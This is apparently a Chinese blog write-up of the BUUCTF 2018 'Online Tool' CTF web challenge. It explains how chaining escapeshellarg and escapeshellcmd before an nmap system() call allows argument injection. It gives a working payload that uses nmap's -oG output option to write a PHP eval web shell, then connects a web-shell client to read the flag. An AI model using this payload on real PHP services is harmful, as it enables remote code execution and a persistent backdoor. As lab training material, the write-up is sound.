当前位置:网站首页>BUUCTF WEB [BUUCTF 2018]Online Tool
BUUCTF WEB [BUUCTF 2018]Online Tool
2022-04-23 12:27:00 【Y1Daa】
BUUCTF WEB [BUUCTF 2018]Online Tool
-
进入环境,得到一段代码
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);其中,
escapeshellarg()函数用于把字符串转码为可以在 shell 命令里使用的参数,也就是将单引号等特殊符号转义,并将转义后的单引号前后用另外的两个单引号包裹<?php echo escapeshellarg("123"); // '123' echo escapeshellarg("12' 3");// '12'\'' 3' ?>escapeshellcmd()函数用于 shell 元字符转义 ,就是在特殊字符和没有配对的单引号前插入\<?php echo escapeshellcmd("123"); // 123 echo escapeshellcmd("12' 3");// 12\' 3 echo escapeshellcmd("12'' 3");// 12'' 3 ?>这里可以参照这篇文章 谈谈escapeshellarg参数绕过和注入的问题 (lmxspace.com) 了解本题如何解
-
因为两个过滤的存在,我们只能执行一条命令。在nmap中存在几个参数
OUTPUT: -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3, and Grepable format, respectively, to the given filename.可以向文件中写入命令和结果
-
这里我们可以利用
escapeshellarg与escapeshellcmd一起使用的漏洞构造一个命令执行漏洞?host=' <?php @eval($_POST["cmd"]);?> -oG shell.php '回显为
you are in sandbox ae49321bc77b6271cb2db4ba23d835f1Starting Nmap 7.70 ( https://nmap.org ) at 2022-04-22 05:26 UTC Nmap done: 0 IP addresses (0 hosts up) scanned in 1.15 seconds Nmap done: 0 IP addresses (0 hosts up) scanned in 1.15 seconds -
使用蚁剑连接,在文件根目录下找到flag文件
flag{24d949bf-db37-41b9-9e74-9f9e202d0af7}
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_51412071/article/details/124343895
边栏推荐
- STM32CubeProgrammer基础使用说明
- 一个平面设计师的异想世界|ONES 人物
- Nativeformysql connects to MySQL 8 prompt: 1251 - client does not support authentication protocol
- 画结果图推荐网址
- Pre competition practice of TIANTI competition
- 万事有你 未来可期 | ONES 2022校园招聘正式开启
- 没有空闲服务器?导入 OVF 镜像快速体验 SmartX 超融合社区版
- 第二十五课 类的静态成员变量
- AI 视频云 VS 窄带高清,谁是视频时代的宠儿
- Fastjson 2 来了,性能继续提升,还能再战十年
猜你喜欢

How do traditional enterprises cope with digital transformation? These books give you the answer

In idea Solution to the problem of garbled code in Chinese display of properties file

PSCP basic usage

Metalama简介4.使用Fabric操作项目或命名空间

QT interprocess communication

万事有你 未来可期 | ONES 2022校园招聘正式开启

程序员如何用130行代码敲定核酸统计

AI 视频云 VS 窄带高清,谁是视频时代的宠儿

Introduction to metalama 4 Use fabric to manipulate items or namespaces

VMware virtual machines export hard disk vmdk files using esxi
随机推荐
c# 设置logo图标和快捷方式的图标
How much does software testing help reduce program bugs?
NPDP|产品经理如何做到不会被程序员排斥?
对称加密、证书加密
九十八、freemarker框架报错 s.e.ErrorMvcAutoConfiguration$StaticView : Cannot render error page for request
How to solve the computer system card?
【unity笔记】L4Unity中的基础光照
SQLserver怎么插入或更新当天的星期数,bit而不是文本
Running error: unable to find or load the main class com xxx. Application
Next. JS static data generation and server-side rendering
Windows11 安装MySQL服务 提示:Install/Remove of the Service Denied
Dialogue with Bruce, author of PostgreSQL: "changing careers" is to better move forward
RT-thread中关键词解释及部分API
How do traditional enterprises cope with digital transformation? These books give you the answer
PSCP basic usage
编程辅助工具推荐:图片工具snipaste
A detailed explanation of head pose estimation [collection of good articles]
flask项目跨域拦截处理以及dbm数据库学习【包头文创网站开发】
在 VSCode 中调试 Jest 的测试用例,VSCode调试Jest测试用例报错basedir=$(dirname “$(echo “$0“ | sed -e ‘s,\\,/,g‘)“)解决
Tips for installing MySQL service in windows11: Install / Remove of the Service denied